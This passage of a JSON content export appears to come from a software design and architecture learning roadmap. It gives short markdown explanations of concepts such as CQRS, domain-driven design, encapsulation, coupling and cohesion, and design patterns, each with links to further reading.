    "content": "# Avoid Passing Nulls Booleans\n\nPassing nulls or Booleans can lead to unexpected behavior and difficult-to-debug errors in a program. Here are some ways to avoid passing nulls or Booleans in system architecture:\n\n*   Use Optionals or Maybe types instead of nulls to indicate the absence of a value. This makes it clear when a value is missing and prevents null reference exceptions.\n*   Use a default value for function arguments instead of allowing them to be null or Boolean. This eliminates the need to check for null or Boolean values and reduces the potential for errors.\n*   Use the Null Object pattern to replace null values with a special object that has a defined behavior. This eliminates the need to check for null values and makes the code more readable.\n*   Use the Ternary operator (?:) instead of if-else statements when working with Booleans. This can make the code more concise and easier to read.\n*   Use the assert function to check the validity of function arguments and throw an exception if they are invalid.\n\nBy following these best practices, the system architecture will be more robust and less error-prone."
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/be-consistent@2SOZvuEcy8Cy8ymN7x4L-.md",
    "content": "# Be Consistent\n\nBeing consistent refers to maintaining a consistent pattern. This can include using consistent naming conventions, data structures, and interfaces throughout the system, as well as adhering to established design principles and best practices. Consistency can help to make the system more maintainable, understandable, and extendable.\n\nVisit the following resources to learn more:\n\n- [@article@10 Tips for Writing Clean Code](https://www.pluralsight.com/blog/software-development/10-steps-to-clean-code)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/blackboard-pattern@Kk7u2B67Fdg2sU8E_PGqr.md",
    "content": "# Blackboard Pattern\n\nThe Blackboard architectural pattern is a software design pattern that allows for the creation of a centralized repository of information that can be accessed and modified by multiple independent modules or subsystems. The blackboard serves as a communication and coordination mechanism between these modules, allowing them to share information and collaborate to achieve a common goal. This pattern is often used in artificial intelligence and decision-making systems, where multiple processes or agents need to share and reason over complex data.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Blackboard (design pattern)](https://en.wikipedia.org/wiki/Blackboard_(design_pattern))\n- [@article@Architectural Patterns: Blackboard](http://www.openloop.com/softwareEngineering/patterns/architecturePattern/arch_Blackboard.htm)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/boundaries@-Kw8hJhgQH2qInUFj2TUe.md",
    "content": "# Boundaries\n\nIn software architecture, boundaries refer to the interfaces or the points of separation between different components or systems. These boundaries can be physical, such as between different microservices in a distributed system, or logical, such as between different layers in an application.\n\nBoundaries are important because they define the points of interaction between different components or systems, and they dictate how those components or systems will communicate with each other. By defining clear boundaries, it makes it easier to understand, test, and maintain the system, as the interactions between components or systems are well-defined and easy to reason about.\n\nVisit the following resources to learn more:\n\n- [@article@Boundaries in Software Architecture](https://www.open.edu/openlearn/science-maths-technology/approaches-software-development/content-section-1.1.4)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/class-invariants@c6n-wOHylTbzpxqgoXtdw.md",
    "content": "# Class Invariants\n\nA class invariant is a set of conditions that must be true for any object of a class, at any point in time. In object-oriented programming (OOP), class invariants are used to define the valid states of an object and to ensure that the object always remains in a valid state.\n\nClass invariants are typically defined in the constructor of a class and are enforced through the use of private methods and data members that are used to validate the state of the object. They are also checked in the class's methods before and after any operation that can change the state of the object.\n\nLearn more from the following links:\n\n- [@article@Overview of Class invariant](https://en.wikipedia.org/wiki/Class_invariant)\n- [@article@The concept of class invariant in object-oriented programming](https://arxiv.org/abs/2109.06557)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/class-variants@c6n-wOHylTbzpxqgoXtdw.md",
    "content": "# Class Invariants\n\nA class invariant is a set of conditions that must be true for any object of a class, at any point in time. In object-oriented programming (OOP), class invariants are used to define the valid states of an object and to ensure that the object always remains in a valid state.\n\nClass invariants are typically defined in the constructor of a class and are enforced through the use of private methods and data members that are used to validate the state of the object. They are also checked in the class's methods before and after any operation that can change the state of the object.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Class invariant](https://en.wikipedia.org/wiki/Class_invariant)\n- [@article@The concept of class invariant in object-oriented programming](https://arxiv.org/abs/2109.06557)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/clean-code-principles@08qKtgnhJ3tlb5JKfTDf5.md",
    "content": "# Clean Code Principles\n\nClean code principles are guidelines for writing code that is easy to understand, maintain, and modify. These principles emphasize readability, simplicity, and reducing complexity to improve collaboration and reduce the likelihood of errors. Ultimately, the goal is to create source code that is as easy to read and understand as well-written prose.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Clean Code & Software Design Principles](https://workat.tech/machine-coding/tutorial/introduction-clean-code-software-design-principles-nwu4qqc63e09)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/clean-code-principles@TJZgsxpfOmltUUChMzlEM.md",
    "content": "# Clean Code Principles\n\nClean code is code that is easy to read, understand, and maintain. It follows a set of principles that are designed to make the code more readable, testable, and less error-prone. Some of the key principles of clean code include:\n\n- Clarity: The code should be easy to read and understand.\n- Simplicity: The code should be as simple as possible, avoiding unnecessary complexity.\n- Comments: Comments should be used sparingly and only when necessary to explain complex or non-obvious code.\n- Naming: Variables, functions, and classes should have meaningful and descriptive names.\n- Formatting: The code should be consistently formatted to improve readability.\n- Functionality: The code should be organized into small, single-purpose functions and classes.\n- Error handling: The code should handle errors in a consistent and predictable way.\n- Testing: The code should be testable and have a high test coverage.\n- Reusability: The code should be designed to be reusable and modular.\n- Performance: The code should be designed to be efficient and performant.\n\nLearn more from the following links:\n\n- [@article@Introduction to Clean Code & Software Design Principles](https://workat.tech/machine-coding/tutorial/introduction-clean-code-software-design-principles-nwu4qqc63e09)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/clean-code@TJZgsxpfOmltUUChMzlEM.md",
    "content": "# Clean Code Principles\n\nClean code is code that is easy to read, understand, and maintain. It follows a set of principles that are designed to make the code more readable, testable, and less error-prone. Some of the key principles of clean code include:\n\n*   Clarity: The code should be easy to read and understand.\n*   Simplicity: The code should be as simple as possible, avoiding unnecessary complexity.\n*   Comments: Comments should be used sparingly and only when necessary to explain complex or non-obvious code.\n*   Naming: Variables, functions, and classes should have meaningful and descriptive names.\n*   Formatting: The code should be consistently formatted to improve readability.\n*   Functionality: The code should be organized into small, single-purpose functions and classes.\n*   Error handling: The code should handle errors in a consistent and predictable way.\n*   Testing: The code should be testable and have a high test coverage.\n*   Reusability: The code should be designed to be reusable and modular.\n*   Performance: The code should be designed to be efficient and performant.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Clean Code & Software Design Principles](https://workat.tech/machine-coding/tutorial/introduction-clean-code-software-design-principles-nwu4qqc63e09)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/client-server@ZGIMUaNfBwE5b6O1yexSz.md",
    "content": "# Client Server\n\nThe client-server architecture is a common architecture pattern used in distributed systems, where a client (or multiple clients) send requests to a server, and the server responds to those requests. The client and server are separate entities that communicate over a network, such as the Internet or a local network.\n\nThe client is responsible for presenting the user interface and handling user input, while the server is responsible for processing the requests and returning the appropriate response. The server can also handle tasks such as data storage, security, and business logic.\n\nVisit the following resources to learn more:\n\n- [@article@Intro to Client-server Architecture](https://cs.uwaterloo.ca/~m2nagapp/courses/CS446/1195/Arch_Design_Activity/ClientServer.pdf)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/code-by-actor@kp86Vc3uue3IxTN9B9p59.md",
    "content": "# Code by Actor\n\n\"Code by Actor\" is a software development technique that encourages developers to organize their code around the actors or entities that interact with it. Actors can be users, systems, or processes that perform a specific role or function within the application. This approach helps to create a clear separation of concerns, making the code more modular, reusable, and easier to understand.\n\nLearn more from the following links:\n\n- [@article@Actor Model Architecture](https://awesome-architecture.com/actor-model-architecture/actor-model-architecture/)\n- [@article@Inversion of Control](https://stackoverflow.com/a/72826245)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/command-query-separation@tLbckKmfVxgn59j_dlh8b.md",
    "content": "# Command Query Separation\n\nCommand-Query Separation (CQS) is a software design principle that separates the responsibilities of a method or function into two categories: commands and queries. Commands are methods that change the state of the system, while queries are methods that return information but do not change the state of the system.\n\nVisit the following resources to learn more:\n\n- [@article@CQS Pattern](https://martinfowler.com/bliki/CommandQuerySeparation.html)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/commands--queries@j_SUD3SxpKYZstN9LSP82.md",
    "content": "# Commands Queries\n\nThe Command and Query Responsibility Segregation (CQRS) pattern is a technique used in enterprise application development to separate the responsibilities of handling command (write) operations and query (read) operations for performing actions that change the state of the system, such as creating, updating, or deleting data. These operations are handled by Command Handlers, which are responsible for validating the data and executing the appropriate business logic.\n\nQueries are used for retrieving data from the system, such as reading data from a database or a cache. These operations are handled by Query Handlers, which are responsible for executing the appropriate query and returning the data to the caller.\n\nVisit the following resources to learn more:\n\n- [@article@Get Started with CQRS Pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/cqrs)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/commands-queries@j_SUD3SxpKYZstN9LSP82.md",
    "content": "# Commands Queries\n\nThe Command and Query Responsibility Segregation (CQRS) pattern is a technique used in enterprise application development to separate the responsibilities of handling command (write) operations and query (read) operations for performing actions that change the state of the system, such as creating, updating, or deleting data. These operations are handled by Command Handlers, which are responsible for validating the data and executing the appropriate business logic.\n\nQueries are used for retrieving data from the system, such as reading data from a database or a cache. These operations are handled by Query Handlers, which are responsible for executing the appropriate query and returning the data to the caller.\n\nLearn more from the following links:\n\n- [@article@Get Started with CQRS Pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/cqrs)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/component-based@a0geFJWl-vi3mYytTjYdb.md",
    "content": "# Component Based\n\nIn software architecture, component-based design (CBD) is an approach to designing software systems by composing them from a set of reusable and independent software components. These components encapsulate specific functionality and can be easily integrated into different parts of the system, allowing for a more modular and flexible design.\n\nIn CBD, a software system is divided into a set of components, each of which has a well-defined interface and a specific responsibility. These components can be developed, tested, and deployed independently, making it easier to add new features, modify existing ones, and maintain the system.\n\nVisit the following resources to learn more:\n\n- [@article@Component Based Software architecture](https://www.tutorialspoint.com/software_architecture_design/component_based_architecture.htm)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/component-principles@8Bm0sRhUg6wZtnvtTmpgY.md",
    "content": "# Component Principles\n\nComponent principles in software architecture refer to guidelines for designing and implementing software components that are modular, reusable, and easy to understand, test, and maintain. Some of the key component principles in software architecture include:\n\n*   High cohesion\n*   Low coupling\n*   Separation of concerns\n*   Interface-based design\n*   Reusability\n*   Testability\n*   Modularity\n*   Interoperability\n\nBy following these component principles, software can be developed in a way that is easy to understand, maintain, and extend, and that is less prone to bugs. It also enables better code reuse, and makes it easier to test and change the code, and also enables better code reuse, as components can be reused in different contexts.\n\nVisit the following resources to learn more:\n\n- [@article@Component-Based Architecture](https://www.tutorialspoint.com/software_architecture_design/component_based_architecture.htm)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/composition-over-inheritance@Izno7xX7wDvwPEg7f_d1Y.md",
    "content": "# Composition over Inheritance\n\nComposition over inheritance is a programming principle that suggests that it is better to use composition, a mechanism for assembling objects, to create complex objects, rather than using inheritance, which is a mechanism for creating new classes based on existing ones.\n\nInheritance is a powerful mechanism for creating reusable code, but it can also lead to tightly coupled, hard-to-maintain code. This is because inherited classes are tightly bound to their parent classes and any changes made to the parent class will affect all of its child classes. This makes it hard to change or extend the code without affecting the entire class hierarchy.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Composition over Inheritance](https://en.wikipedia.org/wiki/Composition_over_inheritance)\n- [@video@Tutorial - Composition over Inheritance](https://www.youtube.com/watch?v=wfMtDGfHWpA)\n- [@video@Composition over Inheritance Explained by Games](https://www.youtube.com/watch?v=HNzP1aLAffM&list=PLCl5BUbK0jXt5l18S5UNAoUc4eQ2PJDye)\n"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/concrete-classes@hd6GJ-H4p9I4aaiRTni57.md",
    "content": "# Concrete Classes\n\nA concrete class is a class in object-oriented programming (OOP) that can be instantiated, meaning objects can be created from it. A concrete class is a class that provides an implementation for all of the abstract methods declared in its parent class, if it inherits from an abstract class. A concrete class can also be a class that does not inherit from an abstract class, in that case it can have implementation for all of its methods.\n\nConcrete classes are used to provide specific implementation details for a group of related classes that inherit from a common abstract class. They are also used to define unique behavior for a specific class. A concrete class can have its own methods and variables, and can also override the methods of its parent class."
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/coupling-and-cohesion@TXus3R5vVQDBeBag6B5qs.md",
    "content": "# Coupling and Cohesion\n\nCoupling and cohesion are two principles in software architecture that are used to measure the degree of interdependence between components in a system.\n\nCoupling refers to the degree to which one component depends on another component. High coupling means that a change in one component will likely affect other components, making the system more difficult to understand, test, and maintain. Low coupling, on the other hand, means that changes to one component have minimal impact on other components, making the system more modular and easier to understand, test, and maintain.\n\nCohesion, on the other hand, refers to the degree to which the responsibilities of a component are related to each other. High cohesion means that a component has a single, well-defined purpose and that all its functionality and data is related to that purpose. Low cohesion, on the other hand, means that a component has multiple, unrelated responsibilities, making it more difficult to understand, test, and maintain.\n\nVisit the following resources to learn more:\n\n- [@video@Cohesion and Coupling in Software Engineering](https://www.youtube.com/watch?v=NweTzHYBgYU)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/cqrs@IU86cGkLPMXUJKvTBywPu.md",
    "content": "# CQRS\n\nCQRS (Command Query Responsibility Segregation) is an architectural pattern that is used to separate the responsibilities of reading and writing data in a software system. In a CQRS architecture, the system is divided into two separate parts: the command side and the query side.\n\nThe command side is responsible for processing commands and updating the system's state, while the query side is responsible for reading the current state of the system and returning the results to the client. The command and query sides can use different data models, storage mechanisms, and even different technologies.\n\nVisit the following resources to learn more:\n\n- [@article@Get Started with CQRS Pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/cqrs)\n- [@article@CQRS Software Architecture Pattern: The Good, Bad, and the Ugly](https://betterprogramming.pub/cqrs-software-architecture-pattern-the-good-the-bad-and-the-ugly-e9d6e7a34daf)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/design-patterns@Jd79KXxZavpnp3mtE1q0n.md",
    "content": "# Design Patterns\n\nDesign patterns are general solutions to common problems that arise in software development. They provide a way to describe and communicate proven solutions to common design problems and they provide a common vocabulary for design. They are not specific to any particular programming language or technology, but rather describe the problem and the solution in a way that can be applied to many different contexts.\n\nThere are several different types of design patterns, including:\n\n*   Creational patterns\n*   Structural patterns\n*   Behavioral patterns\n*   Architectural patterns\n\nVisit the following resources to learn more:\n\n- [@article@Overview - Software Design Pattern](https://en.wikipedia.org/wiki/Software_design_pattern)\n- [@article@Explaining, imaging and simplifying design patterns](https://refactoring.guru/design-patterns/what-is-pattern)\n- [@video@What Are Design Patterns?](https://www.youtube.com/watch?v=BWprw8UHIzA)\n- [@feed@Explore top posts about Design Patterns](https://app.daily.dev/tags/design-patterns?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/design-patterns@gyQw885dvupmkohzJPg3a.md",
    "content": "# Design Patterns\n\nDesign patterns are general solutions to common problems that arise in software development. They provide a way to describe and communicate proven solutions to common design problems and they provide a common vocabulary for design. They are not specific to any particular programming language or technology, but rather describe the problem and the solution in a way that can be applied to many different contexts.\n\nThere are several different types of design patterns, including:\n\n*   Creational patterns\n*   Structural patterns\n*   Behavioral patterns\n*   Architectural patterns\n\nVisit the following resources to learn more:\n\n- [@article@Overview - Software Design Pattern](https://en.wikipedia.org/wiki/Software_design_pattern)\n- [@article@Explaining, imaging and simplifying design patterns](https://refactoring.guru/design-patterns/what-is-pattern)\n- [@video@What Are Design Patterns?](https://www.youtube.com/watch?v=BWprw8UHIzA)\n- [@feed@Explore top posts about Design Patterns](https://app.daily.dev/tags/design-patterns?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/design-principles@9dMbo4Q1_Sd9wW6-HSCA9.md",
    "content": "# Design Principles"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/design-principles@p96fNXv0Z4rEEXJR9hAYX.md",
    "content": "# Design Principles\n\nDesign principles are fundamental guidelines that help software engineers create systems that are maintainable, scalable, robust, and easy to understand. They represent best practices derived from decades of software engineering experience and are widely used to guide the structure and behavior of code. Applying these principles can lead to better software architecture, easier debugging, and improved collaboration."
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/distributed@3V74lLPlcOXFB-QRTUA5j.md",
    "content": "# Distributed\n\nDistributed systems refer to the design and organization of software components that are distributed across multiple devices or locations, connected via a network, and work together to achieve a common goal. The main challenge in designing distributed systems is dealing with the inherent complexity that arises from the distribution of components and the communication between them, and it requires techniques such as load balancing, replication, and partitioning to improve scalability, fault-tolerance, and performance. Additionally, security and coordination are also important aspects of distributed systems.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Distributed Architecture](https://www.tutorialspoint.com/software_architecture_design/distributed_architecture.htm)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/domain-driven-design@CD20zA6k9FxUpMgHnNYRJ.md",
    "content": "# Domain Driven Design\n\nDomain-Driven Design (DDD) is an architectural pattern that is used to design software systems based on the core business domain and business entities, it's focused on creating a clear and accurate representation of the business domain within the software system, and on aligning the software system with the business goals and objectives. DDD provides several advantages over other architectural patterns, such as alignment with business goals and objectives, improved communication between domain experts and developers, a clear and expressive model of the business domain and improved scalability and maintainability. It's implemented using a set of principles and patterns such as strategic design, subdomains, bounded context, entities, value objects, aggregate, and repository.\n\nVisit the following resources to learn more:\n\n- [@article@Modern Software Architecture (#1): Domain Driven Design](https://medium.com/modern-software-architecture/modern-software-architecture-1-domain-driven-design-f06fad8695f9)\n- [@article@The Concept of Domain-Driven Design Explained](https://medium.com/microtica/the-concept-of-domain-driven-design-explained-3184c0fd7c3f)\n- [@video@What is DDD (Domain-Driven Design) ?](https://www.youtube.com/watch?v=Tnecs_7OT74)\n- [@video@Domain-Driven Design patterns for a distributed system](https://www.youtube.com/watch?v=i3d_jzpf0gE)\n- [@feed@Explore top posts about Domain-Driven Design](https://app.daily.dev/tags/domain-driven-design?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/domain-language@kWNQd3paQrhMHMJzM35w8.md",
    "content": "# Domain Language\n\nA domain language is a specific vocabulary and set of concepts used to describe and communicate about a specific area of knowledge or business. In software development, a domain language is used to model the objects and concepts within a specific domain, and to capture the relationships and constraints between them.\n\nA domain language is used to provide a common understanding of the problem domain among all stakeholders, including developers, business analysts, and domain experts. It is also used to ensure that the software system accurately reflects the real-world problem it is intended to solve.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Domain-specific language](https://en.wikipedia.org/wiki/Domain-specific_language)\n- [@article@What are Domain Languages (DSLs)?](https://www.jetbrains.com/mps/concepts/domain-specific-languages/)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/domain-models@I25ghe8xYWpZ-9pRcHfOh.md",
    "content": "# Domain Models\n\nA domain model is a representation of a specific area of knowledge or business that is used to model the objects and concepts within that domain, and to capture the relationships and constraints between them. In object-oriented programming (OOP), a domain model is typically represented by a set of classes and interfaces, with each class or interface representing a specific concept or object within the domain.\n\nA domain model is used to provide a clear and consistent representation of the problem domain, and to capture the business requirements and constraints of the system. It is also used to guide the design of the system and to ensure that the system accurately reflects the real-world problem it is intended to solve.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Domain model](https://en.wikipedia.org/wiki/Domain_model)\n- [@article@Domain Driven Design](https://khalilstemmler.com/articles/categories/domain-driven-design/)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/domain-models@NpSfbzYtGebmfrifkKsUf.md",
    "content": "# Domain Models\n\nDomain Models are a pattern used in enterprise application development to represent the business concepts and rules of a specific domain. They are typically used to model the problem domain, or the area of expertise of a specific business.\n\nA Domain Model is a collection of objects that represent the real-world concepts and entities of the domain. These objects are typically modeled as classes or types, and they encapsulate the data and behavior that is specific to the domain. They are responsible for representing the state and behavior of the business concepts they model, and for enforcing the rules and constraints of the domain.\n\nVisit the following resources to learn more:\n\n- [@article@Overview - Domain Models](https://sparxsystems.com/enterprise_architect_user_guide/14.0/model_domains/specialized_models.html)\n- [@video@Tutorial - Domain Model Pattern](https://www.youtube.com/watch?v=75EGANiqADw)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/dry@ltBnVWZ3UMAuUvDkU6o4P.md",
    "content": "# DRY\n\nDRY (Don't Repeat Yourself) is a software development principle that suggests that code should not have duplicate functionality. The idea is to keep the codebase as simple as possible by eliminating redundancy and duplication. The goal is to reduce complexity and improve maintainability by ensuring that each piece of knowledge is expressed in a single, unambiguous way within the system.\n\nThe DRY principle is closely related to the Single Responsibility Principle (SRP) and the Open-Closed Principle (OCP), which are part of the SOLID principles. The DRY principle aims to reduce the amount of duplicate code by creating abstractions that can be reused across the system.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Don't repeat yourself (DRY)](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself)\n- [@video@What is DRY in programming?](https://www.youtube.com/watch?v=Rv3RIc_ziOY)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/dtos@y_Qj7KITSB8aUWHwiZ2It.md",
    "content": "# DTOs\n\nThe Data Transfer Object Design Pattern is one of the enterprise application architecture patterns that calls for the use of objects that aggregate and encapsulate data for transfer. A Data Transfer Object is, essentially, like a data structure. It should not contain any business logic but should contain serialization and deserialization mechanisms.\n\nVisit the following resources to learn more:\n\n- [@article@Data Transfer Object pattern and Mappers](https://medium.com/@abdalrhmanalkraien/data-transfer-object-pattern-and-mapper-116508bc9df0)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/encapsulate-what-varies@DlefJ9JuJ1LdQYC4WSx6y.md",
    "content": "# Encapsulate What Varies\n\nEncapsulate what varies is a programming principle that suggests that code should be organized in such a way that the parts that are likely to change in the future are isolated from the parts that are unlikely to change. This is accomplished by creating interfaces and classes that separate the varying parts of the code from the stable parts.\n\nEncapsulating what varies allows for more flexibility in the code. When changes are needed, they can be made to the encapsulated parts without affecting the rest of the code. This makes it easier to understand, test, and maintain the code.\n\nVisit the following resources to learn more:\n\n- [@article@What does it mean when one says “Encapsulate what varies”?](https://softwareengineering.stackexchange.com/questions/337413/what-does-it-mean-when-one-says-encapsulate-what-varies)\n- [@article@Overview of Encapsulate What Varies](https://bootcamp.uxdesign.cc/software-design-principles-every-developers-should-know-23d24735518e)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/encapsulation@GJxfVjhiLuuc36hatx9dP.md",
    "content": "# Encapsulation\n\nEncapsulation is a concept in object-oriented programming (OOP) that refers to the practice of wrapping an object's internal data and behavior within a defined interface, and hiding the implementation details from the outside world. It is one of the fundamental concepts of OOP and is closely related to the concepts of data hiding and information hiding.\n\nEncapsulation is achieved by using access modifiers (such as \"public,\" \"private,\" and \"protected\") to control the visibility and accessibility of an object's data and methods. For example, data members of a class can be declared as private, which means they can only be accessed by methods within the class, while methods can be declared as public, which means they can be called by any code that has a reference to the object.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Encapsulation](https://en.wikipedia.org/wiki/Encapsulation_(computer_programming))\n- [@video@Tutorial - What is encapsulation in programming?](https://www.youtube.com/watch?v=sNKKxc4QHqA)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/enterprise-patterns@WrzsvLgo7cf2KjvJhtJEC.md",
    "content": "# Enterprise Patterns\n\nEnterprise Patterns are well-documented, reusable solutions to commonly occurring problems in enterprise software development. These patterns provide a vocabulary and a set of best practices for designing robust, scalable, and maintainable enterprise applications, addressing recurring challenges like data access, concurrency, distribution, and integration with legacy systems. They serve as blueprints for solving complex architectural and design issues, promoting consistency and reducing development time.\n\nVisit the following resources to learn more:\n\n- [@article@Enterprise Software Architecture Patterns: An Ultimate Guide](https://www.rishabhsoft.com/blog/enterprise-software-architecture-patterns)\n- [@video@What are Enterprise Integration Patterns?](https://www.youtube.com/watch?v=WNm3QmJadNs)\n- [@feed@Explore top posts about Enterprise](https://app.daily.dev/tags/enterprise?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/enterprise-patterns@h0aeBhQRkDxNeFwDxT4Tf.md",
    "content": "# Enterprise Patterns\n\nEnterprise patterns are a set of design patterns that are commonly used in the development of enterprise software applications. These patterns provide a common vocabulary and a set of best practices for solving common problems that arise in the development of large, complex software systems. Some examples of enterprise patterns include:\n\n*   Domain-Driven Design (DDD)\n*   Model-View-Controller (MVC)\n*   Service Oriented Architecture (SOA)\n*   Command and Query Responsibility Segregation (CQRS)\n*   Event Sourcing\n*   Microservices\n*   Event-Driven Architecture (EDA)\n\nThese patterns can help to improve the maintainability and scalability of the software, by providing a clear separation of concerns and allowing for a more modular and flexible architecture.\n\nVisit the following resources to learn more:\n\n- [@article@Software Architecture Patterns in Enterprise Software](https://blog.devgenius.io/10-software-architecture-patterns-in-enterprise-software-development-fabacb5ed0c8)\n- [@video@What are Enterprise Integration Patterns?](https://www.youtube.com/watch?v=WNm3QmJadNs)\n- [@feed@Explore top posts about Enterprise](https://app.daily.dev/tags/enterprise?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/entities@VnW_7dl5G0IFL9W3YF_W3.md",
    "content": "# Entities\n\nEntities are a pattern used in enterprise application development to represent the business concepts that have a unique identity and a lifetime. They are typically used to model real-world objects or concepts that have a distinct identity and a lifecycle, such as a customer, an order, or an account.\n\nAn Entity is defined by its identity, meaning that two entities with the same identity are considered to be the same, regardless of their state. Entities usually have a unique identifier, such as a primary key, that is used to identify them. They also have an associated set of properties or attributes that describe their state."
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/event-driven@KtzcJBb6-EcIoXnwYvE7a.md",
    "content": "# Event Driven\n\nEvent-driven architecture (EDA) is a software design pattern in which the system reacts to specific events that occur, rather than being continuously polled for changes. In EDA, events are messages that are sent asynchronously between components, and the components react to the events they are interested in.\n\nThe main advantage of using EDA is that it allows for a clear separation of concerns between the components, and it can improve the scalability and fault-tolerance of the system. Additionally, it allows for loose coupling between components, meaning that the components are not aware of each other's existence, and can be developed, deployed, and scaled independently.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Event-driven programming](https://en.wikipedia.org/wiki/Event-driven_programming)\n- [@article@What is event-driven architecture?](https://www.redhat.com/en/topics/integration/what-is-event-driven-architecture)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/event-sourcing@K8X_-bsiy7gboInPzbiEb.md",
    "content": "# Event Sourcing\n\nEvent sourcing is an architectural pattern that is used to build systems that need to maintain a history of all the changes that have occurred over time. This pattern stores all changes to the system's state as a sequence of events, rather than just the current state.\n\nIn Event sourcing, all changes to the state of the system are treated as events, and these events are stored in an append-only log, also known as an event store. The current state of the system can be reconstructed from the event log at any given point in time by replaying the events from the log.\n\nVisit the following resources to learn more:\n\n- [@article@Event Sourcing Pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/event-sourcing)\n- [@video@Event Sourcing Example & Explained](https://www.youtube.com/watch?v=AUj4M-st3ic&list=PLThyvG1mlMzkRKJnhzvxtSAbY8oxENLUQ&ab_channel=CodeOpinion)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/functional-programming@YswaOqZNYcmDwly2IXrTT.md",
    "content": "# Functional Programming\n\nFunctional programming is a programming paradigm that treats computation as the evaluation of mathematical functions and avoids changing-state and mutable data. It emphasizes the use of functions to solve problems, often using higher-order functions, immutability, and recursion. Instead of modifying data, functional programming creates new data structures.\n\nVisit the following resources to learn more:\n\n- [@article@What is Functional Programming?](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0)\n- [@feed@Explore top posts about Functional Programming](https://app.daily.dev/tags/functional-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/gof-design-patterns@hlHl00ELlK9YdnzHDGnEW.md",
    "content": "# GoF Design Patterns\n\nThe Gang of Four (GoF) design patterns are a set of design patterns for object-oriented software development that were first described in the book \"Design Patterns: Elements of Reusable Object-Oriented Software\" by Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides (also known as the Gang of Four).\n\nThe GoF design patterns are divided into three categories: Creational, Structural and Behavioral.\n\n*   Creational Patterns\n*   Structural Patterns\n*   Behavioral Patterns\n\nVisit the following resources to learn more:\n\n- [@article@Gangs of Four (GoF) Design Patterns](https://www.digitalocean.com/community/tutorials/gangs-of-four-gof-design-patterns)\n- [@video@Tutorial - Builder Pattern (Gang of Four Design Patterns Series)](https://www.youtube.com/watch?v=_sa2WlAFWQos)"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/content/hollywood-principle@WzUhKlmFB9alTlAyV-MWJ.md",
